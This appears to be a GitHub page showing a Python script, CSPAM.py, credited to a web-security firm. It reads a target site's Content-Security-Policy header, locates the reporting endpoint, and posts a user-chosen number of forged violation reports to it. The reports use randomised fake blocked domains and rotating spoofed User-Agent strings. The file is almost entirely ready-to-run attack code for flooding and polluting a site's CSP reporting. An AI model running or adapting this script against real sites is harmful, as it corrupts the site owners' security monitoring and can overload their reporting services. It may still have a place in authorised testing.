-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCSPAM.py
122 lines (100 loc) · 4.4 KB
/
CSPAM.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
import json
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urlparse, urljoin
import random
import string
def print_banner():
banner = """
#############################
# AUTHOR: Joel Aviad Ossi
# COMPANY: WebSec BV
# LICENSE: CC BY-SA
# VERSION: v1.0
# WEBSITE: WWW.WEBSEC.NL
#############################
"""
print(banner)
def get_csp_directives(url):
""" Fetch headers from URL and extract all CSP directives. """
try:
response = requests.get(url)
csp_header = response.headers.get('Content-Security-Policy')
if csp_header:
# Extract all directives from CSP header
directives = {}
parts = csp_header.split(';')
for part in parts:
if ' ' in part:
directive, value = part.strip().split(' ', 1)
directives[directive] = value
return directives
return {}
except requests.RequestException as e:
print(f"Failed to retrieve headers from {url}: {e}")
return {}
def random_user_agent():
""" Return a random User-Agent string. """
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15",
"Mozilla/5.0 (iPad; CPU OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Linux; Android 10; SM-A505FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0"
]
return random.choice(user_agents)
def send_report(url, endpoint, directive, value, randomize_domain):
""" Send a CSP report using an actual directive from the site's policy with a randomized domain. """
random_domain = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + ".com"
blocked_uri = f"http://{random_domain}/index.html"
report_payload = {
"csp-report": {
"document-uri": url,
"referrer": "CSPwn",
"blocked-uri": blocked_uri,
"violated-directive": directive + ' ' + value,
"original-policy": f"{directive} {value}",
}
}
headers = {
'Content-Type': 'application/json',
'User-Agent': random_user_agent()
}
try:
response = requests.post(endpoint, data=json.dumps(report_payload), headers=headers)
if response.status_code in {400, 401, 403, 404, 405, 500}:
return response.status_code, f"Error encountered: {response.text}"
return response.status_code, response.text
except requests.RequestException as e:
return 0, f"Failed to send CSP report: {e}"
def process_requests(url, randomize_domain, count):
directives = get_csp_directives(url)
if not directives:
print("No CSP directives found.")
return
# Find endpoint from the directives, resolve to full URL if necessary
endpoint = directives.get('report-uri', None) or directives.get('report-to', None)
if endpoint:
if not endpoint.startswith(('http://', 'https://')):
endpoint = urljoin(url, endpoint)
if not endpoint:
print("No reporting endpoint found in CSP directives.")
return
for _ in range(count):
# Select a random directive to report
directive, value = random.choice(list(directives.items()))
# Send a report for the selected directive
status_code, response = send_report(url, endpoint, directive, value, randomize_domain)
print(f"Report sent for directive '{directive}': Status Code: {status_code}, Response: {response}")
def main():
print_banner()
domain = input("Enter the Target Domain (include 'http://' or 'https://'): ").strip()
randomize_domain = input("Randomize the reported domain name in the CSP report? (Y/N): ").strip().lower() == 'y'
report_count = int(input("How many times would you like to send the report? "))
# Normalize and process URL
if not domain.startswith(('http://', 'https://')):
domain = 'http://' + domain
domain = urlparse(domain).geturl()
process_requests(domain, randomize_domain, report_count)
if __name__ == "__main__":
main()